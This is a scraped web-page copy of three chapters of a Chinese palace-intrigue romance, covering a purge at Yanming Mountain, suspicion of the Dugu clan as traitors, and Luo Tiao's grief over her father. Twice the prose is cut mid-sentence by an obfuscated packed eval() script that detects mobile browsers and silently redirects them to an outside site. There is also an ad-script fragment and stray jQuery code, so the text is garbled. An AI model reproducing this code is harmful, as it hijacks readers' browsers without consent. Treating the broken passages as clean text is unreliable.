骆苕虽还糊涂地听着,但从凌承佐的话里已经辨出,他对独孤氏已有猜忌,望着凌文袤从凌承佐手中接过长刀,她将脸别去一侧。 正当时,刀刃划过衣帛的声音窜进耳道,之后静默无声,也不知这一刀砍在了哪里,有多深。 骆苕回过头,只觉凌文袤迎面而来,将她抱起,走出暗室,沿暗道疾步向上。 “一会儿我要你背我下山。” 骆苕仰头看着凌文袤紧绷的下颌线下死命,因为她不想走,还走不动。 102. 一百零二章 “别说话,别抬头。” 凌文袤锁眉,脸上罩着万年没凿开的厚冰看前路,跨出暗门,用极其严肃的语调告诫守在暗门口的花凊,“一路跟着别说话。” 花凊一听这语气,敏锐地察觉有大事,方才在暗室内,她没听见沈觅最后对骆苕说了什么,骆苕那时惊楞过后亲自送沈觅上了路,不过能猜测到足以让所有人为之色变的话,或许就是他们想要勾结东刕人的那个内贼。 其中又牵扯到白言霈和白幼黎,骆苕没说,花凊不好相问。 花凊看向骆苕。 骆苕缩着脖子窝着脑袋朝花凊点头,于是花凊把那点想对凌文袤发泄出来的火气也揣了回去,跟在大步流星,衣袂打浪的人身后。 雁鸣居内还在清剿,剩余逃命的人全部往更深的后舍躲藏。 寒夜冷冽,半轮朗月高悬,空气中弥散着来不及凝固的血腥味,夹在冷风里吹向檐角风铎,缠绕进朗月。 骆苕将脸往凌文袤的胸膛埋得更深一些。 时局看似不再动荡,却依旧暗潮汹涌。 刑部变天,摘除腐官,惩治地方豪强都未出差池,连中州都如愿解决,骆苕原想,只要耐住性子等舅父慕容霆彦着手勍州就好。 等春来,等燕巢于檐下,等来年调顺,她以为自己只要静等便会有想要的结果。 事实总会在恰当的时候,给贪慕完满的骆苕当头一棒。 一众兵卫守在雁鸣居大门外,以防疏漏被人逃跑,一青和赤眉巡查在山涧沟壑,门前还有一纵人,正是独孤敷所领的随从。 独孤敷貌若城北徐公,两鬓留有美髯,下颚一撮山羊须护养得油亮,燎亮的炬火下,冠发齐整,宽衣博带,一派文弱之态。 血洗雁鸣居,独孤敷自己请命留在雁鸣居外,凌承佐念及他只是个谋士,怕混乱之中伤及体肤,故而顺了独孤敷没让他入内。 此时独孤敷正背向大门,双手交叠在身前,朝着沉闷如水的夜色,深沉瞭望。 凌文袤迈出大门,飞速拾阶而下。 赤眉发现凌文袤抱着骆苕出来,身侧还跟着安然无恙的花凊,大松一口气,赶紧迎上前:“五郎主!长公主找到了!” 一青也上前,打量着神色含怒的凌文袤。 “我们走。” 凌文袤在独孤敷回身望向他时,撂下一句,步履不停,也没放一眼给独孤敷。 独孤敷面皮松弛有度,在回身后敛去忧色,挂上惊讶之色,大袖挥在身侧迎前问询:“凌五郎,长公主原来真在雁鸣居,万幸已寻着。”望向着一身夜行衣,脸面埋在胸膛不愿示人的骆苕,稍显狐疑,“长公主这是?可是伤着哪里?” 一青和赤眉对于凌文袤抱骆苕早已见怪不怪,独孤敷却从未见过,暂时撇开骆苕入雁鸣山的目的,合该关切问上一问。 凌文袤没理睬独孤敷,一言不发带着一众人扬长而去。 独孤敷袖中的手掌不由收紧,待人远去,回望雁鸣山还未收尾的烂摊子,招了几个随从入内,向捕役问清凌承佐所在,从容不迫前去。 暗室里的凌承佐捡起短刀送回刀鞘,坐向案面,打量一会儿收进靴中。 视线落向臂膀,衣袖被划开的一道长口,隐约窥见皮肉渗出鲜血,这一刀并不如凌承佐预料的那般深。 他缓缓起身离开暗室。 吩咐捕役收掉沈觅的尸体,扔去雁鸣山外刚辟的乱葬岗,这个时候这具尸身已经弃若敝履,想要和他母亲葬在沔水旁,枬山脚下也非不可,等独孤氏一族雪崩的那日,此愿必会达成。 凌承佐在屋门前徘徊几许,瞭一眼行止和缓的独孤敷,铁青着脸,先发制人:“你怎么进来了?” 独孤敷眼风从被抬走的沈觅身上收回,叹声道:“雁鸣居清剿所剩无几,方才见五郎主亦将长公主带离,所以属下便大胆入内找寻世子。不过,瞧五郎主面色,似有不悦。”转问,“可有缉拿住沈觅?” 凌承佐眉心一沉,深深看向独孤敷,指了指自己刚被划开口子的手臂,又指了指远去沈觅的尸身,隐忍寒声低语:“凌宪那条疯狗,只要跟白言霈沾染上的人,不顾我千般阻拦,先将那沈觅一刀毙命,还给了我一刀。放言,刑讯逼供,不如铮铮铁腕,把奸细直接斩在明处,警示异心之臣来的痛快。” 言下之意,还未从沈觅口中问出点可用的信息,沈觅便被凌文袤送上了黄泉路。 独孤敷这才惊觉凌承佐受伤的手臂,费心查验一番后,波澜不惊的面皮上瞧不出异样,他关切道:“万幸刀口不深。世子,你我回去再议。”不忘补上一嘴,“大冢宰下令血洗雁鸣山,斩草除根,正有警示异心之臣之意,故而助长了凌五郎的气焰,未将世子放在眼里。” 凌文袤胆大妄为向凌承佐动手,在独孤敷眼里倒不是一件坏事,但此地不好过多议论,入耳的异心之臣四字也未能惊扰独孤敷。 “父慈子孝,兄友弟恭。” 凌承佐覆手在身后冷笑一声,望着压在枝头的白雪,说,“这个时候,我岂能不知。” 独孤敷默了默,顺着凌承佐的视线说起骆苕,暂时有意往骆苕身上引:“长公主今晚出现在雁鸣山,属实出人意料,耐人寻味。” 凌承佐微微偏过头看独孤敷:“你是觉得长公主有勾结东刕外敌的嫌疑?”有意维护道,“白幼黎曾藏匿于雁鸣山近三年之久,并知晓白幼黎与沈觅留有私情,你我远在傕州之时,白言霈兄妹随东刕人入京,闹出一场长公主跪求大冢宰放过白氏兄妹二人的荒唐事情。此次李潜猝死,沈觅接管雁鸣山,长公主只不过困于旧情,猜测沈觅不寻常,便夜探雁鸣山。巧也是巧,刚好跟我们撞日了。” 独孤敷对凌承佐维护骆苕的后半段的内容并不知晓,貌似了然地点了点头。 冷硬的声色从凌承佐那头传过来:“往后不得猜忌长公主。” 独孤敷转过身,恭敬作揖:“属下明白。” 凌承佐长叹一声不再说话,抬步离开,独孤敷跟了上去。 全数清剿料理完雁鸣山,已入子时。 凌承佐回凌府向凌晖简略地禀报事宜后,独孤敷同凌承佐一道前往凌承佐所在的“关影阁”书房。 侍女奉好茶点被凌承佐屏退。 凌承佐捡起一枚杏仁糕捏在指尖,相看片刻又丢了回去,转而问独孤敷:“你可有良策让我那五弟,悄无声息地四肢不坚?” 闻言,独孤敷心下惊骇。 四肢不坚不是残废,便是五脏六腑受损成为病痨子,比从前建议凌承佐直接除掉凌文袤更为阴毒。 一个活死人确实没法再跟凌承佐争夺什么,又留下一命,刚好可以维系表面的兄友弟恭。 只是自认为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的悄无声息并不好实施,总会留下蛛丝马迹,让人去查。 于独孤氏而言,直接除掉为最佳,死了便死了,死无对证。 “世子。”独孤敷替凌承佐解忧,慢慢道,“若想凌五郎四肢不坚,唯有二法,其一,用毒,但此法需要骗过亲信之人方可实施;其二,暗派死士,斩断其手脚。” 凌承佐问:“何毒可行?” 独孤敷谨慎着摸着山羊须,想了想:“百毒皆可行,紧要的是摄取的量度,多则毙命,少则昏睡个三五日便可无碍。” 凌承佐颔首,难为道:“我只想他四肢不坚,不想要他的性命。”停顿思忖一瞬,“唯有第二种方法最为牢靠。” “是。”独孤敷没有否认,却还是疏疏建议,“取其性命,不留后患。” 凌承佐开始踱步,望向被割裂的衣袖,倏然颦紧眉心,眼风里的独孤敷敛袖一直望着他,似在等他下定主意,亦似在消散情绪。 凌承佐抬手捏了捏眉心,疲惫无奈道:“容我再思量思量。” 独孤敷也不急,点头附和:“此事需周密谨慎,方可下手。” 只要凌承佐萌生了念头,便算有了进展,独孤敷的兄长独孤颂说过,雁鸣山的沈觅迟早会暴露,但断言沈觅不会供出独孤氏。 今夜骤然清剿雁鸣山,独孤敷心有余悸,告诫自己不可再冒进。 凌承佐唇角衔起浅笑,颇为不好意思:“今日留你在我陋阁议事,心中有件难以启齿之事需要你襄助,望你私底下先与英国公疏通一二。” 独孤敷的父亲独孤解,是为大嵘的英国公。 独孤敷双手覆在身前,笑言:“世子何须这般客气,只是家父时下正在扆照观潜心修行,若有要事,明日,属下便去扆照观亲自去接他老人家出观下山。” 凌承佐步去端盏饮茶,消除些许紧张:“要事当属要事,不过也不算太急。”停着又缓和一下,才说,“凌某正妻之位空置,想与独孤氏结下秦晋之好,英国公若有适婚女郎许之,凌某……” 后话也不知怎得便说不下去了,索性停下,也算掐得刚刚好。 此言一出,独孤敷心下又是一大骇,他猜,今晚凌文袤无所顾忌划开凌承佐皮肉的那一刀,恐怕令凌承佐切实地感受到刀抵脖颈,不是你死,便是我活的境遇。 再则堂堂世子,原本,媒妁之约当由议婚之人的长辈相商、定夺,怎好如此相求。 独孤敷按捺住捋须,大惊失色架起客套,朝凌承佐作揖:“此等大事可不敢妄自疏通,这可是大冢宰的意思?” “嗯。”凌承佐应下,又呡下一口茶,“入京当日,我与父亲便已在商议。” 独孤敷又作了个长揖,躬着身以显诚意:“明晨一早,属下便入扆照观,同父亲叙述。” 凌承佐正正回了个礼:“有劳。” 独孤敷没再逗留,辞别披上大氅离开凌府,凌承佐亲自相送出府。 四十里外的玉磐宫,凌文袤将骆苕涤荡的差不多后,从浴池中将人捞起来,趁着水雾缭绕,披上一层层袍子抱回行宫寝殿。 一路匆忙策马,骆苕也没空问话,浴洗时也是没让她出声,快洗快出。 被凌文袤抱在怀里的骆苕,脑袋磕在老地方,这才出声:“凌宪,沈觅向我透露内贼为独孤解,你们为何立马笃定,不曾想过有假?” 103. 一百零三章 独孤氏一族,从未被凌氏怀疑过,以退为进直接附庸在凌承佐羽翼之下,今晚猝然暴露在视野之下,凌承佐当机立断的反应过于迅速。 骆苕回想起来有些讶然。 脚步声窸窸窣窣,久未听到凌文袤回应,骆苕仰脸看人。 飞阁之间的甬道上,宫灯一盏盏从他脸侧掠过,莹光游移闪烁,脸颊忽明忽暗,紧绷的下颌昭示着还未从深远的思虑中回神。 骆苕迎着拂面的凉风,放眼甬道外,远处峰峦相交的山脉在月光下烟波浩渺,娟好静秀。 梧山汤谷和暖温润,修筑之初便凿溪渠引温汤环绕玉磐宫,草木在这个时节还能留住一隅难得的青葱生机之态。 照料行宫的宫人又常年在山谷中耕种果蔬,圈养家禽,自给自足,犹如与世隔绝的世外桃源。 早年冬日里,孝玄帝骆炜诠无重要政务缠身时,会携一众宫眷来梧山温养。 骆苕拥有独享的院落和寝殿,今晚要宿在她的寝殿。物如旧,人变故,也已记不清上次来玉磐宫是在何时。 骆苕轻叹一声,拢好几近遮住眉目的厚实衣袍。 凌文袤这才低头看她,眸光柔和清浅,深远悠长。怀里的人若有所感仰起头,冲他盈盈一笑,只是,笑得有点勉强。 凌文袤还是没说话,入殿把骆苕安置进床榻,拿寻常衣物让骆苕自己穿好,自己则步去炭炉前,紧挨着炭炉。 温汤沾染上水渍的一袭垂坠单衣,顷刻间,炭火卷走水渍,令附着在身的单衣恢复如初。 他回身阔步回来坐向床沿,坐落间前襟松垮了一些,露出胸前一片紧实肌理。 骆苕穿戴妥当,只缺一件随时可披的外袍,打量片刻,抬眸撞入眼帘的正是那一片紧实裸肌,浑然想了想,伸手去揭凌文袤颈侧衣领。 刚伸过去,五指被蓦地握住,人也应声倒进馨香软褥,听见他魅惑如丝低沉的声音入了耳:“再等会儿。” “等什么?”骆苕没反应过来,游魂还飘在雁鸣山。 “等会儿再给你。”凌文袤一顿,恬不知耻地说,“瞧着你想要。” 骆苕这才反应过来他说的再等会儿是什么意思,心疲无奈看向他,比眼神更无奈的是语气:“想什么呢?只是查看你的箭伤。” 他让她穿的是寻常衣物,并非寝衣,早已察觉来玉磐宫也不会安逸,有随时离开的意思,何来非分之想,还强硬地按在她头上,真是倒反天罡。 他总是这样厚颜无耻。 “箭伤无碍。”凌文袤俯视骆苕泛着星光的双唇,端详着没俯身,最后对上她的眼睛,不着调着说,“今晚长公主可记一大功,你夜闯雁鸣山劳苦功高,只能勉为其难把我赏给你。” 见骆苕一脸寥赖,这才解衔接上骆苕方才所问,“你可还记得你向大冢宰说过,中州岐城的宏德寺内藏有重兵铠甲?” 骆苕心中一凛,目光凝滞。 她向凌晖透露宏德寺内有重兵铠甲,花景良彻查了中州境内寺宇,零星地有各类寻常兵器搜出,但并无重兵铠甲。 凌文袤的视线顺着自己的五指理着骆苕的乌发,缓道:“花景良搜查中州境内寺宇之际,英国公独孤解正在中州慈云观,那时中州僧侣之间大乱,各处流窜,独孤解所带的侍从多达一百余人,各个身手不凡,返程回京正好和结伴逃窜的僧侣相遇,也不知被僧侣发现什么,独孤解下令将一百多名僧侣全部剿灭,可惜,被漏掉几个,跑了。” 他饶有兴致问骆苕:“你猜,后事如何?” 骆苕脑中云雾缭绕,认真摇摇头。 凌文袤说:“转头跑掉的那几个僧侣正好撞在花景良的刀口上,情急之下,僧侣向花景良禀报,看见有人正在偷运重兵铠甲,并追杀他们这些目睹者。” 骆苕眼波一颤。 私造重兵铠甲,预示有佣兵谋反之心,那个常年萦绕在她脑中的具象人物终于浮出水面。 凌文袤望着打颤的眼眸,笑得很温和,全然不同于适才行走在甬道时不理睬人时的样子:“独孤解的侍从赶到和花景良刚碰面,便直指僧侣正在转移藏匿重兵铠甲,他们要缉拿活口。” 骆苕拨开脑中的云雾:“双方互质,都欲洗脱与重兵铠甲有关的嫌疑,必有一方说谎。” 凌文袤笑:“当时中州正乱,花景良又在彻查各寺宇藏匿重兵铠甲之事,僧侣和英国公独孤解,花景良自然全力相信独孤解,便把逃脱的僧侣交给了独孤解。” 接着道,“独孤解马不停蹄回京,向大冢宰禀报此事,并把缴获的二十架重型攻城弩机,二十副两裆铠,五十副明光铠,交归大冢宰。那几个活口的僧侣么,依独孤解所言,自尽了。” 骆苕默然后突然想到什么:“独孤解交归重兵铠甲,此事从未耳闻,为何?” “僧侣自尽,无从查证背后的人是谁,正在政令施行的紧要关口,多一事不如少一事,大冢宰将此事秘密压了下来,打算放在日后慢慢细查。”凌文袤牵过被褥,裹住开始发凉的二人身躯,揽过骆苕靠在自己的胸膛。 骆苕脸面停靠妥当后问:“大冢宰从未怀疑过独孤解?” “闲云野鹤云游大嵘,那么多年醉心修道升仙,很难令人起疑,再则孤证难立,仅凭这一件不足以引人多想。独孤解的那些儿孙,各个不漏圭角,谁能想到他会勾结东刕。”凌文袤回道,“花景良回京述职,又心存偏帮,极力佐证独孤解所言非虚。现在想来,花景良应当留有私心,将发现重兵铠甲的功劳,直接让给了独孤解,卖了个人情在独孤解身上。” 按照花景良的脾性确实会那样做,已知自己即将被贬斥,临行前卖给独孤解一个人情,不抢功,也算给自己留一线生机,只是花景良未能深想,细琢磨其中有诈。 独孤解料准花景良不敢往深处想。 骆苕沉默着将所有的线索慢慢联结起来,像叙述一件得见天日的旧事:“骆奂病逝那年,独孤解曾向我父皇请命,让他的嫡子独孤颂接替花景良赴任中州刺史,被我父皇驳回,再后来,你父亲被任命大冢宰,独孤解彻底隐退,消失在朝堂,短短几年斗转星移,大嵘被你们凌氏摘去,独孤解还没放弃篡位之心。” 遂问:“该如何应付他?” 凌文袤抚着骆苕的臂膀,说:“凌承佐的人,他自会处置,你我的职责” 凌承佐费心畜养起来的羽翼,要被他亲自剪除,倒也不容易。 骆苕听着胸膛坚实的心跳,吁气:“独孤解想要借东刕之力得到皇位,不可能会等凌氏稳固权势。” 她不知道时机会在何时。 凌文袤想了想,却问:“你可有高见?” 这个问题迫使骆苕微微皱眉,若勍州大定,凌氏拿政绩扬眉吐气,之后独孤解再想覆灭凌氏便会难上加难,解决勍州迫在眉睫,独孤解亦没有从中作梗的迹象,若再敢露头搅乱勍州,必会引起凌晖的警惕。 这个时候,独孤解还不知今晚沈觅已经将他出卖。 后续之事,一时让人又蒙上一头雾水。 沉着思量片刻,苦笑着摇摇头,从脑中蹦出的还是那万变不离其宗的手法,借刀杀人,后继无人,这也是大嵘走过的前路,她悻悻道:“借用凌承佐之手,先除掉你,再除掉俞州凌先觉,用手段牵制住凌承佐,至于你父亲,总会有归西的那一日。” “猜的不错,倒是有那么点意思。”凌文袤笑了笑,“大冢宰有意让凌承佐娶独孤家的女郎为正妻。” 骆苕心一惊,脱口而出:“难道独孤解未卜先知,知晓大冢宰想与独孤家联姻?”如此才能印证方才自己猜的才算有些眉目,联姻后,牵制凌承佐的手段水到渠成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737449|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉思绪跑的太快又绕了回来,“想必大冢宰私底下已经和独孤解互通过心意,若独孤解无二心,凌承佐娶独孤氏家的女郎,也算合适。” 凌文袤应和:“或许,真是独孤解未卜先知。大冢宰有意与独孤氏一族联姻,旁人并不知晓,也未与独孤解互通心意。” 骆苕又是一惊:“那你是如何知晓的?” 凌文袤突然来了脾气,将人从胸口推起,正正地望着握在手中懵懵惊惊的人,想笑又强忍着,磨了磨腮骨,一字一句慢慢道:“午后,你为了花凊粘在校场,还托花凊过来给我传话,说今晚会宿在清雅苑。” 晃了晃她的双肩,“你可知,我回凌府之后,听了半日的家训,家父所讲内容皆逃不过,该如何辅佐世子凌承佐,成为凌氏的继任者。小到食宿起居,大到内外朝务,家父的谆谆教导,无一疏漏。正待我脑瓜子嗡嗡之时,有人来禀,说你的马跑回了凌府,人却不在马上……” 骆苕平平淡淡截断凌文袤的话:“凌宪,今晚的你,是故意和我说这么多话的吗?” 凌文袤不想今晚的骆苕陷在第一次杀人的情绪中,尽可能用说话的方式分散掉些许注意力,讲些她所关心的。 “这才发觉?”他轻描淡写继续说,“再告诉你一件喜事,圻国德高望重的广南王死了,听闻是扶持谭浔上位的毓琅长公主联合部僚,诱杀在坤华殿。” 德高望重的圻国宗亲广南王死了,好像圻国也在轮回在大嵘的前路。 “怎么会诱杀在坤华殿?” 骆苕的思绪果然被带了过去,坤华殿,乃圻国皇后所居殿所,骆苕只知谭浔尚未立后。 死在坤华殿太过蹊跷。 凌文袤摇头:“晓不得,今晚你仔细琢磨琢磨,为何广南王会被诱杀在坤华殿。” 同为长公主,骆苕不禁纳罕,纳罕相同的身份,不同的秉性。 最终的命运究竟如何,谁又得知。 骆苕突然有些疲累,也发现二人已经讲了许多的话,伸手指了指自己的衣裳,问:“今晚还打算去别处么?”又瞄了瞄凌文袤敞开的衣襟,“你自己倒穿得清凉。” 凌文袤这才将人放下来,俯身在上:“我在等凌世子,嫌你穿衣太慢,将就着先让你穿妥。” 骆苕一口否决:“我不必见凌世子。” 凌文袤了然,笑着道:“让花凊陪你出去走走,别一个人待在寝殿。” “好。”骆苕说,“这便去。” 浓烈的气息喷洒进脸颊,煽动秾丽长睫,气息猝然压下来,控制住双唇,双臂从肩胛处被人推起,禁锢交缠在颅顶。 衣襟又被一道道不胜其烦地挑开。 “凌文袤。你混蛋。” 神思还是顺畅的,她只惦记着,将将穿好的衣裳又被糟践开,一会儿又得重穿。 回应她的是更肆无忌惮的引逗。 见不奏效,凌文袤起身看骆苕,粗气一吐挑眉道:“看来,晚些需要拿出点真本事来才行。” 骆苕定睛看他,掀开他颈侧衣领,查看完,本还想说句什么,终究没出口,撑起身,主动亲了一下脸颊,算作安抚。 后背却被凌文袤捞在身前,他低低笑了两声,警告她:“你心不在焉,却想玩火。” 骆苕蹙眉,就那样架在在半空将脸偏去了一旁。 她有点生气,只不过礼节性地回给他一个点面吻,怎么就成想玩火了,于是回正脑袋看他,那点气暂时压不下来,气哄哄地说:“那我去玩水。” 凌文袤很满意她夹带生气的语调和模样,抱人起身的同时没再说话,下床榻去穿衣袍。 整理好衣袍跨出殿门,过石径小道,撞上徘徊的花凊,也只是淡淡地吩咐:“今晚陪好长公主。” 凌文袤离开玉磐宫,只带了一青一人。 104. 一百零四章 殿内的骆苕再一次整理好衣襟起身下榻,慢慢环视起寝殿。 玉磐宫如同正阳宫一样,也是年久未曾大修,殿柱漆面暗沉斑驳,任凭宫人如何护养洒扫的仔细,依旧遮盖不了破败。 与寝殿为之相反的是殿内陈设,里面的一器一物无不透露着精致奢华。 骆苕无力地垂下头,在自己轻微的叹息声中,移步站在错金九玄鸟衔莲铜灯台前细细打量。 这架孝玄帝骆炜诠在骆苕儿时为她添置的铜灯台,正无声地挥洒着明光。 九只玄鸟口衔绽开的莲花,莲花内盛满灯油,九朵莲花的火捻子被点燃,每一簇火光都在徐徐跃动,同时扑在骆苕思绪不明的脸颊,已瞧不见光影跳荡,只余一片明晃晃有些灼目的光辉。 骆苕缓缓眨了眨眼,驱赶走眸中的干涩不适转去玉镂曲屏前,同样沉沉打量。 曲屏上镂雕着她喜欢的百花纹样,拥簇成一副稠密似锦的画面,忍不住伸手去抚摸,指尖熟悉的触感敲袭心头。 骆苕最喜欢凌文袤口中所嫌弃的花里胡哨,她称之为花团锦簇。 这些骆苕所喜欢的物件,每一件都是孝玄帝骆炜诠生前按照骆苕的喜好所添置。 她静静出神着。 心绪在出神的某一刹,突然哀恸不已,猛地回身将殿内的陈设来回巡视多遍,她察觉从前的自己犯了一个不能补救的弥天大错。 泪水汹涌而至,夺眶而出。 骆奂病逝之后,骆炜诠开始大肆屠戮宗亲,几近到了众叛亲离的地步,骆苕恍然发现那时的自己,没能像儿时一样不必明辨是非,蹿入征战而归父亲的怀抱。 晚年的孝玄帝骆炜诠精神恍惚,骆苕一直像一位懂事的大人,站在孝玄帝骆炜诠的对立面,企图用言辞凿凿唤醒恍惚中的人,却一直忽略那时的父亲真正需求是什么。 骆炜诠是一位杀伐果决的帝王也是一个活人,一位父亲。 骆苕在想,若那时候的自己没那么自作聪明的执拗,先抛开对错,同父亲站在一起,设身处地思父亲所思,抚父亲所忧,没有指责,没有离心,再步步为营,父女二人为大嵘而计,结果一定不会是如今这样的局面。 她和父亲的主旨难道不都是为了大嵘么? 是的话,她为何会行差踏错? 让宗亲继续被屠戮,白氏六族被夷,最终无力回天。 皇帝骆炜诠晚年的困境显而易见,嫡子病逝,诸子幼小,外敌强劲,内事纷杂,群臣虎视眈眈,作为至亲的骆苕和其他人一样,把骆炜诠当做一位帝王看待,从未当做父亲看待。 骆苕倔着性子,选择了硬碰硬,来证明皇帝骆炜诠是错的。 梦中父亲质问她为何为虎作伥,断送大嵘的回音在脑中响起。 原来是真的,容不得自己否认。 所为噩梦,是日思夜想所致,有时为安抚人心,阐释为与现实相反,但有时恰恰太过真实,完全就是心底的真实写照,骆苕便是后者,完全是内心真实写照。 她把爱给了不相干的人,却一点都没能回馈给自己的父亲。 父亲对母亲强取豪夺爱而不得,母亲面对自己不爱的父亲,百般忍耐,只为求个体面。 她只知父亲应该愧对母亲。 但她不一样,她是父亲的女儿,理所当然享尽父荫所带来的荣华富贵,享尽父亲的爱护,却理所当然地觉得父亲应当听她所言,思她所思。 君臣之间,她没做好臣子的本分,父女之间,她同样没有做好女儿的本分。 骆苕瞭望满殿的陈设,双手掩面失声痛哭。 她把无条件爱自己的父亲,弃之敝履,她对她的父亲要求太高,要求父亲的爱当如同儿时那样一成不变,不应该出现偏颇和不满。 以至于将一位凡人父亲的情感需求忽视。 骆苕脑中桩桩件件与父亲骆炜诠心生龃龉的往事,在这一刻得到了解释。 全是她的错。 在白氏被夷族之后,骆炜诠曾征求骆苕的意见,让她出降慕容余,出降凌承佐,出降朝中德高望重勋贵之子,都被骆苕一一狠狠回绝。 骆炜诠在沉默中接受骆苕的回绝,这是作为父亲无声的退让。 殿内一室寂静,只有垂帷轻轻一波一波荡漾,似乎在无声地讥诮心事汹涌的骆苕。 懂的太晚,懂的不是时候,有时是成长的悲哀。 ** 花凊在殿外撞见迎面而来的玉磐宫婢女,婢女躬身垂首,手中托着呈盘向花凊行礼:“花将军。” 花凊望着托盘问:“这是什么?” “回花将军,是凌五郎吩咐厨堂熬的参汤。” “我来,你去忙你的。” 花凊干脆接过呈盘,望着两盅参汤撇撇嘴,瞧方才凌文袤疾走,今晚不会在玉磐宫的样子,恐怕这参汤需要她来代劳了。 从雁鸣山下来,凌文袤从宅邸收拾上衣物,又大张旗鼓地招来葛七那队护卫,飞快奔来玉磐行宫。 花凊明早还得去校场上职,原本没打算来,可凌文袤义正言辞地让她陪骆苕,所以无法,只能勉为其难地跟来当这碍眼的二人灯烛。 凌文袤当时没说他连夜要走,花凊还闷了许久。 跨进殿门的花凊这次不仅撇嘴,还连连摇头,也不知该如何形容凌文袤。 他亲自送骆苕过来,陪骆苕在汤泉里沐了个浴,又火急火燎地跑去有事,也不知为了什么愿意来回折腾。 肯定不是为了玉磐宫那一汪温汤。 “殿下,来喝参汤。” 拐进外殿的花凊语气轻松,边喊边将托盘放置在案上,没听见骆苕回应,揭开两盅参汤的盖子,转身跨去寝殿。 狐疑着找寻片刻,终于在曲屏后发现偷偷抹眼泪的骆苕,眉头一竖,火气蹭地一下冲上头:“他欺负殿下了?” 雁鸣山凌文袤一路抱人下来,还算体贴,骆苕也没沉浸在第一次手刃沈觅的惊恐之中。 到了玉磐宫,凌文袤就原形毕露,真是令人齿冷。 骆苕拿帕子抹去不再汹涌的泪水,摇头实话道:“花凊,我只是有些想我的父皇。” 话音落下,花凊哑声片刻,她近前动了动唇终究没将话说出口,望着被泪水浸湿的脸颊,转身去外面让婢子打水,拧好巾帕,递给已经跟着出来落座在案边的骆苕。 骆苕擦完脸,花凊才问:“凌五郎又回城里了?方才让我今晚陪着殿下,想必不会回来。” 骆苕挑参汤的羹勺一顿,回想凌文袤离开之前的话,说:“他说凌世子会来,去见凌世子,估计要晚一些回来。” 又说,“他说话深一句浅一句,也不知哪句是真。” 花凊同意骆苕说凌文袤的言行无状,认同完又疑惑:“那何必今晚就来玉磐宫,等在城中议完事再来也行,并不急于这一时。” 骆苕认同地点头,根本不知凌文袤这忙进忙出地不嫌累为哪般。 长夜漫漫,她便将独孤解一事从头到尾跟花凊讲了一遍。 所有的零碎线索如同一张撕烂的画作,那些缺失的部分从前全凭想象也不能够拼凑齐整,这次终于显露原型,直到花凊听完还极其混乱。 一切太过巧合,雁鸣山的李潜和凌晖是无人知晓的老友,从前避祸逃命到雁鸣山的白幼黎,以及受白言霈所托入雁鸣山看顾白幼黎的沈觅,到投靠东刕的白言霈。 当初骆苕放走白言霈兄妹二人,也不知是福是祸,最后牵扯出企图勾结东刕想夺位的独孤解。 还有中州,这方毗邻京都城的要地,敏感、疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13864244|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心重的孝玄帝骆炜诠没有让宗亲接管,而是交给作为皇太子骆奂幕僚的花景良。 中州若让有谋反之心的独孤氏接手,将来东刕大举来犯,凌氏用兵前线,后方军备疏怠,独孤解在中州趁机起兵攻入京都城,那对当权者是致命的打击,极有可能皇权真会落入独孤解之手。 独孤解勾结东刕,算是破釜沉舟之举。 独孤解勾结东刕,一旦覆灭凌氏,他会给东刕承诺必逃不过国土和财物。 但白言霈曾对骆苕说,他会帮助东刕覆灭凌氏,夺下大嵘的政权取而代之。 这应该是独孤解不曾知晓的。 朝局瞬息而变,里中当事人的尔虞我诈一时很难说清。 外敌再强并不可怕,只怕生活在这片土地内部的人离心离德。 花凊听完理顺,脑中还是浑浊,叹息着摇头:“我作为中州岐城的一城之主,竟对这些全然不知,每日稀里糊涂地站在城墙之上,向北眺望,心心念只想踏平东刕;又向东眺望,给自己打气要征吞圻国;再向南眺望,暗暗发誓,要让四海归一。不曾想,朝局混乱成如此不堪境地,若单单只是党争,凌氏不信任我父亲而裁撤我父亲,我还能愤然不平,听到如此地步,我是彻底没脾气了。” 骆苕长舒一口气,坚定道:“天命在凌氏,会有四海归一的那一日。” 花凊抬头望着骆苕笑起来:“那我得好好巴结凌家那两个公子哥,混个军功。” 骆苕在对望中莞尔一笑:“我已经替你在巴结了,有战必会争取。你原本就压他们一头,实打实的定南将军呢,若要领军,他们只能跟在你后面。” 花凊情绪高涨,乐呵呵的脸蛋没再垮下来,突然想到方才的事,脸一沉道:“独孤解若勾结东刕叛国,现在如何给他定罪?口说无凭,单单靠沈觅的那一言,凌晖直接除掉独孤解,实难服众。” 花凊将话说在了重点之上。 东刕的野心人人都已知晓,背地里会如何行事都不足为奇,可英国公独孤解不一样,声望、美誉都在,凌氏若大肆除掉独孤氏一族,必留旁人诟病,也会令臣工人心惶惶,没有确凿的证据还真不可动他。 只能等,等到凌氏用政绩添补上一些声望和美誉。 今春,骆骞暴毙,凌晖赐死骆炎的生母,众人无动于衷,是因为死的是皇族之人,没能威胁到各自的切身利益。 今秋,凌晖以雷霆之势颁布政令,又除掉一批腐官,已经撼动一些功勋之臣和世家大族的利益。 这个时候,凌晖应该异常焦灼,勍州慕容烈若能顺利解决,不费兵卒平定才算良策。 